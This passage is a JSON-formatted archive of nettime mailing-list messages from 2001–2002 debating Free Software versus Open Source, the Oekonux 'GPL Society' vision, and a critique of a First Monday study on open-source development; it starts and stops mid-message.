exchange value, so the focus is on\nthe use value,\n* free cooperation between people,\n* international teams. \n\nThough the term has been controversial for some time,\ntoday it is widely accepted in Oekonux. I like the\nterm particularly *because* you can't associate\nanything with it that you already know. GPL Society\ndescribes something new, which we try to discover,\nexplore and understand in the Oekonux project.\nIronically, part of this process of understanding has\nreached the conclusion that a GPL Society would no\nlonger need General Public License because there won't\nbe any copyright. So at least at this time maybe it\nshould be renamed ;-) .\n\nAs I tried to explain Free Software is not based on\nexchange so neither is a GPL Society. How a GPL\nSociety may look like concretely can't be determined\nfully today. However, at present there are many\ndevelopments which already point in that direction.\n\n* One development is the increasing obsolescence of\nhuman labor. The more production is done by machines\nthe less human labor is needed in the production\nprocess. If freed from the chains of capitalism this\ndevelopment would mean freedom from more and more\nnecessities, making room for more processes of\nself-unfolding - be it productive processes like Free\nSoftware or non-productive ones like many hobbies. So\ncontrary to capitalism, in which increasing automation\nalways destroys the work places for people and thus\ntheir means to live, in a GPL Society maximum\nautomation would be an important aim of the whole\nsociety.\n\n* In every society based on exchange - which includes\nthe former Soviet bloc - making money is the dominant\naim. Because a GPL Society would not be based on\nexchange, there would be no need for money anymore.\nInstead of the abstract goal of maximizing profit, the\nhuman oriented goal of fulfilling the needs of\nindividuals as well as of mankind as a whole would be\nthe focus of all activities.\n\n* The increased communication possibilities of the\nInternet will become even more important than today.\nAn ever increasing part of production and development\nwill take place on the Internet or will be based on\nit. The B2B (business to business) concept, which is\nabout improving the information flow between\nbusinesses producing commodities, shows us that the\nintegration of production into information has just\nstarted. On the other hand the already visible\nphenomenon of people interested in a particular area\nfinding each other on the Internet will become central\nfor the development of self-unfolding groups.\n\n* The difference between consumers and producers will\nvanish more and more. Already today the user can\nconfigure complex commodities like cars or furniture\nto some degree, which makes virtually each product an\nindividual one, fully customized to the needs of the\nconsumer. This increasing configurability of products\nis a result of the always increasing flexibility of\nthe production machines. If this is combined with good\nsoftware you could initiate the production of highly\ncustomized material goods allowing a maximum of\nself-unfolding - from your web browser up to the point\nof delivery.\n\n* Machines will become even more flexible. New type of\nmachines available for some years now (fabbers,\n[http://www.ennex.com/fabbers/index.sht]) are already\nmore universal in some areas than modern industrial\nrobots - not to mention stupid machines like a punch.\nThe flexibility of the machines is a result of the\nfact that  material production is increasingly based\non information. At the same time the increasing\nflexibility of the machines gives the users more room\nfor creativity and thus for self-unfolding.\n\n* In a GPL society there is no more reason for a\ncompetition beyond the type of competition we see in\nsports. Instead various kinds of fruitful cooperation\nwill take place. You can see that today not only in\nFree Software but also (partly) in science and for\ninstance in cooking recipes: Imagine your daily meal\nif cooking recipes would be proprietary and available\nonly after paying a license fee instead of being the\nresult of a world-wide cooperation of cooks.\n\n>> Q: This sounds very utopian: Free Software as the\nsign of the end of capitalism and the transformation\nof the new society? How do you predict this\ntransformation coming about - spontaneously, as the\neconomic basis of capitalist production just withers\naway? \n\nI hope these more or less utopian thoughts give an\nidea of the notion of a GPL Society as it is currently\ndiscussed within the Oekonux project. And it's not\nFree Software in itself which may transform\ncapitalism. Instead, the principles of the production\nof Free Software - which have developed within\ncapitalism! - provide a more effective way of\nproduction on the one hand and more freedom on the\nother. The main question is how is it possible to\ntranslate these principles to other areas. \n\nI tried to explain how Free Software - as a germ form\nof the GPL society - is inside as well as outside of\ncapitalism. I think Free Software is only the most\nvisible of the new forms which together have the\npotential to lead us into a different society.\nCapitalism has developed the means of production to\nsuch an extent that people can use them for something\nnew.  Of course, the transformation also requires a\npolitical process and although historically the\npreconditions now are better than ever before there is\nno automatic step that will lead to the GPL society.\nPeople have to want this process. However, I'm quite\noptimistic that they will, because Free Software shows\nus, in microcosm, how a better life would look, so the\nGPL Society is in the best interest of people. And\nOekonux is there to understand the process of this\nchange, and perhaps at some point our thoughts may\nhelp to push the development forward :-) .\n\n\n\n__________________________________________________\nDo You Yahoo!?\nSend your FREE holiday greetings online!\nhttp://greetings.yahoo.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 5 Dec 2001 13:44:14 -0800 (PST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200112062023.PAA02326 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00027.html",
                "list": "nettime_l",
                "author_name": "kadian antal",
                "subject": "<nettime> Interview with Stefan Merten, Nov 2001"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "id": "00356",
                "content": "Am Mon, 14.Jan.2002 um 23:51:38 +0100x schrieb jaromil:\n\n[quoting Graham Seaman from seul.org:]\n\n> 3. They've provided a prediction as to what should happen as the recession\n> in technology hits in America - the number of people writing free software\n> should go through the roof. I don't think there's going to be any such \n> event - but it should be something perfectly testable (just watch \n> freshmeat and compare the number of entries from Stefan Merten with the \n> number from Americans ;-).\n\nIn an interview on <http://kerneltrap.com/article.php?sid=459>, Matt\nDillon, a major developer of the FreeBSD operating system (and former\nLinux kernel hacker), has its own answer on whether Free Software is\naltruistic or not. It is, without knowing it, quite a good response to\nthe recent on the economy of Free Software in Nettime (and, apparently,\nOekonux):\n\n   Matt Dillon: Well, I could say something about open-source in\n   general. Specifically I would like to say something about open-source\n   and making money. There are two kinds of open-source programmers\n   in the world. No, make that three kinds: There is the open-source\n   programmer who is still in school, the open-source programmer who has\n   a real job, and the open-source programmer who tries to make a living\n   out of his open-source programming.\n\n   In many respects, each individual goes through ALL of the above\n   phases. We've all been in (or are in) school, we all must eventually\n   make a living, and having been somewhat disillusioned by real\n   work we have all either tried or will try to make a living from\n   our open-source endevours. This last item -- making a living from\n   open-source, has been over-stressed by the open source community\n   (mainly Linux related developers) over the last few years. Guys, if\n   you haven't figured it out by now it is mostly an illusion! The hype\n   made it possible. The crazy stock market made it possible, but it\n   didn't last now did it? If I take a hundred people I know only two or\n   three can make a living from their open-source work (and I'm not one\n   of them today!).\n\n   The open-source community has to come to terms with this. Don't let\n   it get you down! I read LWN.NET (Linux Weekly News) every week and I\n   see a definite trend towards mass depression as the internet craze\n   settles down into something a bit more sustainable. Don't let it get\n   to you! Face the issue squarely and come to terms with what it means\n   for your own work. If an older generation (that's me! At 35! God I\n   feel old!) can teach the younger generation of programmers/hackers\n   anything it is that the character of open-source will always be with\n   us, with or without wall-street, and that we open-source programmers\n   do not do these things for a 5-minute spot on CNN, we do these things\n   because they are cool, and interesting, and make the world a better\n   place for everyone. That is our legacy. We are not an anarchy, we are\n   a charity. A very *LARGE* charity I might add!\n\n\nFlorian\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Fri, 18 Jan 2002 14:15:21 +0100",
                "to": "jaromil <jaromil@dyne.org>",
                "message-id": "20020118131521.GE314@theuth.complit.fu&#45;berlin.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0201/msg00356.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] Re: [graham@seul.org: Re: [ox-en] Threads \"The Fading Altruism of Open Source\" on <nettime>]"
            },
            {
                "id": "00440",
                "content": "It appears we cant even agree that one major difference between Free\nSoftware and Open Source/Linux is the attitude to money and hence to\ncapitalism. Jaromil (below) thinks a statement posted on the net by the\npolitburo settles the issue. But read Florian's 'in it for the money' and\neven more Stefan Merten's interview, where he imagines a society 'beyond\nlabour, money and exchange' (both below).\n\nJaromil:\n\n>Free software is a matter of freedom, not price; the word \"free\"\n>has to be intended in this way here. Furthermore, referring to the\n>wrong assumption by Keith Hart in this thread:\n>> The open source movement is split on the issue of exchange and money\n>> payment. Those who follow the Free Software Foundation appear to\n>> consider that any hint of money and exchange, even of reciprocity,\n>> leads directly to unacceptable compromise with capitalism.\n>refer to http://www.gnu.org/philosophy/selling.html to have a clear\n>point about the free-speech / free-beer issue.\n\nFlorian Cramer:\n\n>The real amount of altruism in Free Software\n>development may be debated, but any programmer who's mostly or even only\n>in it for the money would be stupid to program anything but proprietary\n>software (which, no doubt, is more profitable).\n\nInterview with Stefan Merten, Oekonux, nettime, 7/12/01:\n\n>But whereas Free Software\n>emphasizes the freedom Free Software gives the users,\n>Open Source does not care about freedom. The Open\n>Source Initiative (OSI) was founded exactly for the\n>reason to make Free Software compatible with business\n>people's thinking, and the word \"freedom\" has been\n>considered harmful for that purpose. \n\n>I had the idea that Free Software is something very\n>special and may have a real potential for a different\n>society beyond labor, money, exchange - in short:\n>capitalism - in 1998. \n\nAs it happens, I had come across the free speech/free beer distinction\nwithout having to consult the gnu website. It still seems to me that the\nfreedom of Free Software is largely, but not exclusively tied up with the\nnormative absence of money. This allows the purists to insist that those\nwho wish to work across the divide 'do not care about freedom' or are 'only\nin it for the money'. And behind that, of course, is a desire to preserve\nthe mystique of a hacker elite.\n\nKeith Hart\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "nettime <nettime-l@bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00440.html",
                "list": "nettime_bold",
                "author_name": "Keith Hart",
                "subject": "[Nettime-bold] Re: <nettime>The Fading Altruism of Open Sour",
                "from": "Keith Hart <HART_KEITH@compuserve.com>",
                "follow-up": [
                    {
                        "from": "elix Stalder <felix@openflows.org>",
                        "content": ">As it happens, I had come across the free speech/free beer distinction\n>without having to consult the gnu website.\n\nI think the free speech / free beer distinction is really counterproductive\nat this point. I understand it's historical value in rallying US hackers in\nthe context of a culture that fetishes \"individual freedom\" to a degree\nthat it's something that one has no longer to explain or argue for. Free\nspeech = good, in all circumstances. I'm not arguing against free speech,\nwhat I'm arguing against is the idea that free speech offers a good\nmetaphor to understand the value of free software / open source.\n\nLessig, in his new book The Future of Ideas, offers a much better\ndefinition for what \"free\" in this context means. He writes: \"a resource is\n'free' if (1) one can use it without permission of anyone else; or (2) the\npermission one needs is granted neutrally\" (p.12). Our roads, for example,\nare free in Lessig's sense. This is the case even if a toll charge is\nlevied because the charge is imposed neutrally. Everyone pays the same\nprice independent of the purpose of driving on the road. A road would no\nlonger be free if, say, Coke had sponsored its construction and therefore\ncould prohibit Pepsi trucks from using it.\n\nIn this definition, there is no difference  in the freedom created by open\nsource or free software.\n\n\n>It still seems to me that the\n>freedom of Free Software is largely, but not exclusively tied up with the\n>normative absence of money. This allows the purists to insist that those\n>who wish to work across the divide 'do not care about freedom' or are 'only\n>in it for the money'. And behind that, of course, is a desire to preserve\n>the mystique of a hacker elite.\n\nI agree with Keith, the absence of money per se is not a virtue. Insisting\non the evils of money in all contexts, is the simple inversion of the\ncapitalist logic which says making money per se is good.  The\ntransformation of resources and their impact is what really matters. And so\nfar, I haven't seen anyone who could show the open source approach\ntransfers time and money (or donated hardware if you prefer) into worse\ncode or less code than the FSF approach.\n\nFelix\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00444",
                        "date": "Wed, 19 Dec 2001 10:22:41 -0500",
                        "to": "nettime-l@bbs.thing.net",
                        "message-id": "v03130300b8465ce5006a@[24.43.135.56]",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00444.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "[Nettime-bold] Re: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "content-type": "text/plai",
                        "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                        "id": "00450",
                        "content": "Am Wed, 19.Dec.2001 um 10:22:41 -0500 schrieb Felix Stalder:\n\n> capitalist logic which says making money per se is good.  The\n> transformation of resources and their impact is what really matters. And\n> so far, I haven't seen anyone who could show the open source approach\n> transfers time and money (or donated hardware if you prefer) into worse\n> code or less code than the FSF approach.\n\nBy all probability not, because Free Software and Open Source are\ntechnically the same - the \"Open Source Definition\" is almost identical\nto the \"Debian Free Software Guidelines\" [and was drafted by the very\nsame author, Bruce Perens]. The both terms don't even describe\ndifferences in development methodology. They are diverge in\nphilosophical and political terms: \"Open Source\" is, according to those\nwho launched the term, about technically better software (\"software that\nsucks less\"), \"Free Software\" is about old-hacker-school freedom of\ninformation. - \n\nIt's quite ironical that other net cultures - such as this one here -\nhas gotten it the other way round.\n\nFelix, one may of course say that the \"Free Software\" notion of freedom\nis naive, but on the other hand the GNU-style \"Free Software\" movement\nremains the only one to date that had a consistent agenda and politics\nagainst the proprietarization of code and knowledge. (And many of those\nwho dismissed the FSF positions as obnoxious hippie fundamentalistm have\nchanged their mind since DMCA, DCSS and Sklyarov.)\n\nThe point is not that, say, \"Linux\" would stand (as \"Open Source\")\nagainst \"GNU\" (as \"Free Software\"). The term \"Open Source\" was coined\nand disseminated by Eric S. Raymond very late, in 1998, as a rebranding\nfor code that preceded the term for ears or even decades (including GNU,\nLinux, BSD, Apache, Perl, sendmail etc.) and which had simply been\ncalled Free Software before.\n\nFlorian\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "date": "Wed, 19 Dec 2001 19:31:43 +0100",
                        "to": "Felix Stalder <felix@openflows.org>",
                        "message-id": "20011219193143.V289@theuth.complit.fu&#45;berlin.",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00450.html",
                        "list": "nettime_bold",
                        "author_name": "Florian Cramer",
                        "subject": "[Nettime-bold] Re: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "\"Kermit Snelson\" <ksnelson@subjectivity.com>",
                        "content": "Florian Cramer:\n\n> By all probability not, because Free Software and Open Source are\n> technically the same\n\nThis is true, and the fact may be demonstrated by examining the two lists of\nlicenses evaluated by the Open Source Initiative [1] and the Free Software\nFoundation [2] respectively.  Of the dozens of software licenses that may be\nclearly identified as being on both lists, only the Apple Public Source\nLicense is considered \"open source\" by the OSI but \"Non-Free\" by the FSF.\nThat one exception may, moreover, be due more to political than technical\nreasons.  The FSF accepts the rest as \"free software\" licenses, although it\nnonetheless deprecates many of these as \"GPL-Incompatible.\"\n\nKeith Hart:\n\n> It appears we cant even agree that one major difference between Free\n> Software and Open Source/Linux is the attitude to money and hence to\n> capitalism.\n\nThe two camps have indeed taken very different rhetorical paths to what are\ndemonstrably identical conclusions.  I am less optimistic than Felix, who\ninterprets this as evidence of a great movement that is capable of absorbing\n\"very different, even contradictory ideas.\"  I see it the other way around,\nnamely as a single idea that has been absorbing different movements.\n\nThere's no other explanation, I think, for the fact that we're hearing so\nmuch group singing lately between left-leaning communitarians and the\nlibertarian right, and not only on the finer points of software license\nagreements.  Keith's recent proposal in this thread to vacate the legal\nmonopoly of central banks on the issue of legal tender certainly has the\npotential to throw yet another log on this cozy campfire.\n\nKermit Snelson\n\nNotes:\n[1] http://www.opensource.org/licenses/index.html\n[2] http://www.fsf.org/licenses/license-list.html\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00462",
                        "date": "Wed, 19 Dec 2001 22:21:08 -0800",
                        "to": "<nettime-l@bbs.thing.net>",
                        "message-id": "000401c1891e$834efaa0$8956c33f@pacbell.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00462.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "[Nettime-bold] RE: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "Heiko Recktenwald <uzs106@ibm.rhrz.uni-bonn.de>",
                        "content": "> This is true, and the fact may be demonstrated by examining the two lists of\n> licenses evaluated by the Open Source Initiative [1] and the Free Software\n> Foundation [2] respectively.  Of the dozens of software licenses that may be\n\nYou take this blabla much to serious. \"Open Source\" for example isnt just\nan idea, a good idea like BSD licences, GNU etc, but first of all it is a\nlabel. Something for the \"No logo\" book. This labelism of the different\ninitiatives has nothing to do with the central concept. Maybe this is why\nI dont like Linux. So much chaos and desktop cosmetics. I stay with\nFreeBSD. And I like GNU.\n\n\nH.\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00471",
                        "date": "Thu, 20 Dec 2001 17:15:55 +0100 (CET)",
                        "to": "Kermit Snelson <ksnelson@subjectivity.com>",
                        "message-id": "Pine.LNX.4.33.0112201711200.8277&#45;100000@intra.b.lab.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00471.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "[Nettime-bold] RE: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "\"Talan Memmott\" <talan@percepticon.com>",
                        "content": "> The point is not that, say, \"Linux\" would stand (as \"Open Source\") against\n> \"GNU\" (as \"Free Software\"). The term \"Open Source\" was coined and\n> disseminated by Eric S. Raymond very late, in 1998, as a rebranding for\n> code that preceded the term for ears or even decades (including GNU,\n> Linux, BSD, Apache, Perl, sendmail etc.) and which had simply been called\n> Free Software before.\n\nJust thinking about this a bit.....\n\nThe Open Source examples, seem almost like 'terra' for the net...  BSD,\nAplache, Perl, sendmail....\nSomething like 'Open Source' becomes 'Open Space'...\nOvergrown from some feudal practice of power... Beyond Governance... Great\nPlains...\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00478",
                        "date": "Thu, 20 Dec 2001 13:51:21 -0800",
                        "to": "\"Announcer\" <nettime-l@bbs.thing.net>",
                        "message-id": "003601c189a0$76c3ca40$7d215aa6@j5g7b01",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00478.html",
                        "content-type": "text/plai",
                        "author_name": "Talan Memmott",
                        "subject": "[Nettime-bold] Re: <nettime>The Fading Altruism of Open Sour"
                    },
                    {
                        "from": "Harald Hillg\u00e4rtner <hillgaertner@tfm.uni-frankfurt.de>",
                        "content": "Am Donnerstag, 20. Dezember 2001 17:15 schrieb Heiko Recktenwald:\n> > This is true, and the fact may be demonstrated by examining the two lists\n> > of licenses evaluated by the Open Source Initiative [1] and the Free\n> > Software Foundation [2] respectively.  Of the dozens of software licenses\n> > that may be\n>\n> You take this blabla much to serious. \"Open Source\" for example isnt just\n> an idea, a good idea like BSD licences, GNU etc, but first of all it is a\n> label. Something for the \"No logo\" book. This labelism of the different\n> initiatives has nothing to do with the central concept. Maybe this is why\n> I dont like Linux. So much chaos and desktop cosmetics. I stay with\n> FreeBSD. And I like GNU.\n\n\n... And I do like GNU/Linux, cause it's both Free Software, and I really like \nplurality (or \"chaos\" in other words). In addition I like \"dektop cosmetics\" \nand a commando line interface on the same time on the same machine, cause I \ncan use both on specific tasks and I like the idea of \"non-proprietarization \nof code and knowledge\", which is the main difference between Open Source and \nFree Software and which is one of the most valid argument in this debate \n(thanks to Florian Cramer). And this idea of non-proprietarization is the \nlesson, which has to be learned by the proprietarization of Unix in the 80s.\n\n\nHarald.\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00494",
                        "date": "Fri, 21 Dec 2001 19:49:16 +0100",
                        "to": "<nettime-l@bbs.thing.net>",
                        "message-id": "E16HUot&#45;00019C&#45;00@venus.rz.uni&#45;frankfurt.",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0112/msg00494.html",
                        "content-type": "text/plai",
                        "author_name": "Harald Hillg\u00e4rtner",
                        "subject": "[Nettime-bold] Re: <nettime>The Fading Altruism of Open Sour"
                    }
                ],
                "message-id": "200112190432_MC3&#45;EB1D&#45;8C98@compuserve.com",
                "date": "Wed, 19 Dec 2001 04:32:30 -0500",
                "content-type": "text/plai"
            },
            {
                "id": "00286",
                "content": "Am Wed, 12.Dec.2001 um 00:56:27 +0100 schrieb oliver frommel:\n \n> The Fading Altruism of Open Source Development by David Lancashire\n> First Monday, volume 6, number 12 (December 2001),\n> URL: http://firstmonday.org/issues/issue6_12/lancashire/index.html\n\nThanks for providing the link!\n\nTo quote from the article and attempt some answers:\n\n>> The most fundamental question of all: why does open source\n>> development occur in the first place?\n\nThis question applies as well to, say, Nettime (where people freely give\naway their some of their intellectual work) and all other non-profit\nvolunteer projects. The work of Free Software may just be more pervasive\nand hence visible to scholars than other volunteer projects because (a)\nit translates very immediately into everyday use value, (b) its products\nare infinitely reproducible (also true for Nettime, but not true for all\nnon-Internet volunteer work). - And: Free Software may be the most\nsophisticated non-profit volunteer project in the way it ensures the\nfree circulation of its products, through the copyleft.\n\nDavid Lancashire's article is an interesting read about the regional\ndistribution of Free Software development, yet as I think problematic or\neven wrong in many of its core assumptions. But, after of all, I do not\nsee the claim the title makes, \"The Fading Altruism of Open Source\nDevelopment\" backed up or elaborated anywhere in the text.\n\nWhile the First Monday article recognizes the entanglement of Free\nSoftware development with academia to some degree, it fails, in my view,\nto interpret this entanglement in cultural and economical terms.  Free\nSoftware development grew and continues to grow out of student projects\nat university computer science departments (MIT: GNU project and X11, UC\nBerkeley: BSD Unix, University of Helsinki: Linux, Universit\u00e4t T\u00fcbingen:\nKDE), and the Free Software copyleft was invented to preserve the\ntraditional academic freedom of information for computer code.\n\nOther points:\n\n>> The combination of highly-complex and anti-proprietary projects offers\n>> the only quadrant in which the tension - between economic and cultural\n>> assumptions about underlying human behavior can meaningfully be\n>> compared. It is an unfortunate fact then, if a somewhat revealing one on\n>> its own, that there are so few successful projects which fall into this\n>> category. \n\nTo me it rather seems an unfortunate, if a somewhat revealing fact what \nthe author David Lancashire thinks are facts of Free Software:\n\n>> Linux, an operating system begun in 1991 in order to provide a\n>> free alternative to commercial UNIX systems, is the most prominent\n>> example.   The second-most so is undoubtedly GNOME, a free graphical-user\n>> interface (GUI) for UNIX-compatible systems begun in 1996 to compete\n>> with the partly privately-owned K-Desktop Environment (KDE) suite for\n>> UNIX and the completely proprietary Microsoft Windows. \n\n- Linux is an operating system kernel started in 1991 which, by itself\n  (i.e.  without a compiler, linker, bootloader and core system\n  libraries, init and login daemons and userspace operating system\n  tools), is a non-functional piece of software. As a matter of fact, it\n  was started not to provide a free alternative to proprietary Unices,\n  but a POSIX-compliant (i.e. more functionally more complete)\n  alternative to Andrew Tanenbaum's free Minix operating system.\n\n- Not Linux, but GNU was started (in 1984) in order to provide the free\n  alternative to commercial (proprietary) Unix systems. It ended up\n  creating fully functional free equivalents of all core Unix\n  components(compiler, linker, system libraries, userspace operating\n  system tools - the contents of /bin, /sbin and /lib on any \"Linux\n  distribution\" is almost 100% GNU) except the kernel. \n\nIt's easy to claim, as in the above quote, there is a lack of\n\"highly-complex and anti-proprietary\" Free Software if one doesn't seem\nto know GNU, the free BSD operating systems (FreeBSD, NetBSD, OpenBSD),\nthe X Window System, Mozilla, the Debian GNU/Linux distribution - and\nwilfully excludes gcc, Perl, Python, PHP, PostgreSQL, Emacs, Apache,\nsendmail and other highly complex Free Software projects from one's\nconsideration. \n\nWhat's more, Lancashire makes questionable assumptions about Gnome, KDE\nand Windows;\n\n- KDE is not \"privately owned\" in any way, but one of the most\n  decentralized and non-corporate Free Software projects. Its code is\n  released under the GNU General Public License (GPL); it relies on a\n  library (\"Qt\") which is developed by a company, but equally available\n  under two Free Software licenses including the GPL since a couple of\n  time. (The fact that Qt was proprietary is history; and Qt never was a\n  part of KDE itself.)\n\n- Quite on the contrary to the assumptions of the article, Gnome\n  development is much more in corporate hands: The core developers are\n  employed by Ximian and RedHat (with Ximian, the company of Gnome's\n  founder and project leader Miguel de Icaza, being the major driving\n  force). \n  \n  In addition, Gnome development is supervised by the \"Gnome Foundation\"\n  whose function is to, official quote, \"coordinate releases of GNOME\n  and determine which projects are part of GNOME\" and \"act as an\n  official voice for the GNOME project\" <http://foundation.gnome.org>.\n  Members of the Gnome Foundation include, next to free developers,\n  Ximian, RedHat, Hewlett-Packard and Sun. (Sun also made Gnome the new\n  desktop interface of its proprietary Unix \"Solaris\".)\n\n- The comparison of KDE and Gnome to Windows is mismatched. Both KDE and\n  Gnome are only sets of (a) high-level libraries and component models\n  and (b) basic graphical desktop user components (menus, window\n  manager, file managers, configuration panels, utilities); they are not\n  desktop operating systems on their own, but operate on top of \"third\n  party\" graphical user interface libraries (Qt and GTK respectively)\n  which in turn operate on top of a \"third party\" graphical display\n  engine (= the X Window System) which in turn operates on top of \"third\n  party\" core operating systems (GNU/Linux, *BSD, proprietary Unices\n  etc.). \n\n  Windows, on the other hand, has always been a unit of a graphical\n  display engine (GDI), graphical user interfaces libraries (MFC),\n  high-level desktop components (OLE/Com) and basic graphical desktop\n  user components (Explorer, Start menu etc.) on top of a core operating\n  system (DOS) and has become a fully self-contained operating system\n  including kernel, OS userspace, graphical display engine at least\n  since Windows NT 3.51.\n\n>> With a combined total of over 430 developers, no other two projects\n>> approach the \"authority\" of these cases as benchmark examples of\n>> their kind, \n\nThis is wrong, and so I doubt the study has a good empirical base. The\n(truly non-corporate) Debian project <http://www.debian.org> alone has\n908 regular developers. In the case of Gnome, the results concerning\nUS-American and non-US-American involvement are likely to be distorted\nby the fact that it is largely an American project with US-American\ncompanies involved - while the (more or less competing) KDE project is\nlargely a project of European developers. (This interesting cultural\nsplit has been noted several times on Slashdot.org, an American forum\nwhich, sincle a couple of months, shifted its own bias from Gnome to\nKDE). \n\nAfter all, the study's _economical_ analysis seems questionable to me\nbecaiuse it does not - but should - differentiate between \"private\"/\n\"privately owned\"/\"commercial\" on the one hand and \"proprietary\" one the\nother (as in the second-last quote). As many Free Software projects -\nlike the RedHat GPL Edition, RedHat's/Cygnus' GNU C compiler, GNU\nghostscript, Ximian Gnome, Ximian Evolution, Trolltech's Qt -\ndemonstrate, \"commercial\" doesn't have to mean \"proprietary\". In fact,\nthe GNU project involved commercial operations from the beginning on.\nRichard Stallman financed the Free Software Foundation (and kept himself\nalive) by expensively selling GNU software on streamer tapes.\nInterviewed in 1984, the BSD project leader and inventor of the \"vi\"\neditor Bill Joy said about GNU Emacs that it was \"a nice editor too, but\nbecause it costs hundreds of dollars, there will always be people who\nwon't buy it.\" <http://www.cs.pdx.edu/~kirkenda/joy84.html>\n\nSome other quotes:\n\n>> Mexico contributes three times as many developers to Gnome as Linux,\n>> and Finland (perhaps understandably considering its status as the\n>> homeland of Linus Torvalds) appears unwaveringly in the Linux camp. \n\nThe high involvement of Mexicans in Gnome would probably have surprised\nthe author as little as the high involvement of Finns in Linux if he\nknew that the Gnome project was founded in Mexico by a Mexican, Miguel\nde Icaza, who continues to be its chief developer.\n\nPerhaps another proof for the problematic empirics of the study:\n\n>> If this simplified model can explain the relative erosion of open\n>> source production in the United States, can it explain the rise of it\n>> Europe? Primarily, it should be clear that if the opportunity cost of\n>> working on open source projects is lower for European developers than\n>> their American counterparts, the potential benefits Europeans gain\n>> from working on them are much greater as well. In a global economy\n>> lacking perfect labor mobility and characterized by wage-inequality\n>> across countries, we expect individuals to produce free software if\n>> doing so can help them shift to a higher wage-level. This\n>> \"fixed-cost\" analysis implies (as Lerner and Tirole suggest in their\n>> paper) that developers may embrace open source work as a way to\n>> tap-into lucrative corporate networks abroad. This may explain why\n>> open source development is more popular in Canada than the United\n>> States, although the data from Europe is inconclusive on this\n>> question. This also helps to explain why the majority of open source\n>> developers are relatively young. Older, settled programmers have less\n>> need to establish a monetizable reputation than their younger, more\n>> mobile counterparts, given less time in which to amortize its\n>> immediate costs.\n\nMy own casual insight into free software hacking rather suggests that\n\n(a) free software developers are younger because they are typically\nstudents or freshly graduated - and probably more idealistic than older\npeople, \n\n(b) free software developers are disproportionally located in Europe\nbecause the public acceptance and deployment of free software is higher\n(in relative terms) in Europe than in the US, resulting in a condition\nwhere\n\n- many computer science departments make Free Software development part\n  of their curriculum and encourage to write Free Software as C.S.\n  diploma projects. (Linux, for example, was Linus Torvald's diploma\n  project at the C.S. department of the University of Helsinki.) After\n  all, C.S. departments and university computing centers had a pressing\n  need for a free Unix-compatible operating system. (AT&T Unix used to\n  be almost free for universities in the 1970s but was relicensed after\n  the AT&T breakup.)\n\n  When I first visited meeting of my local Linux User Group in 1996,\n  they took place in the C.S. department of a local university whose\n  department white board proposed several Linux kernel hacks as diploma\n  projects.\n\n- Because of the higher deployment of Free Software in Europe, European\n  C.S. graduates may have a higher chance to work in Free Software\n  environments on in-house projects (databases and network\n  infrastructures, embedded controllers etc.).  Even if these projects\n  are not for public release, they typically generate free code (or free\n  documentation) on the side, because other free software had to be\n  bugfixed/extended for the project purpose or simply because a certain\n  tool had to be written to accomplish a certain task within a project.\n\nWhile Linus Torvalds and Miguel de Icaza used their reputation to go\nabroad and work in the U.S., proving that this indeed may be a\nmotivation to write Free Software, this certainly fails as a 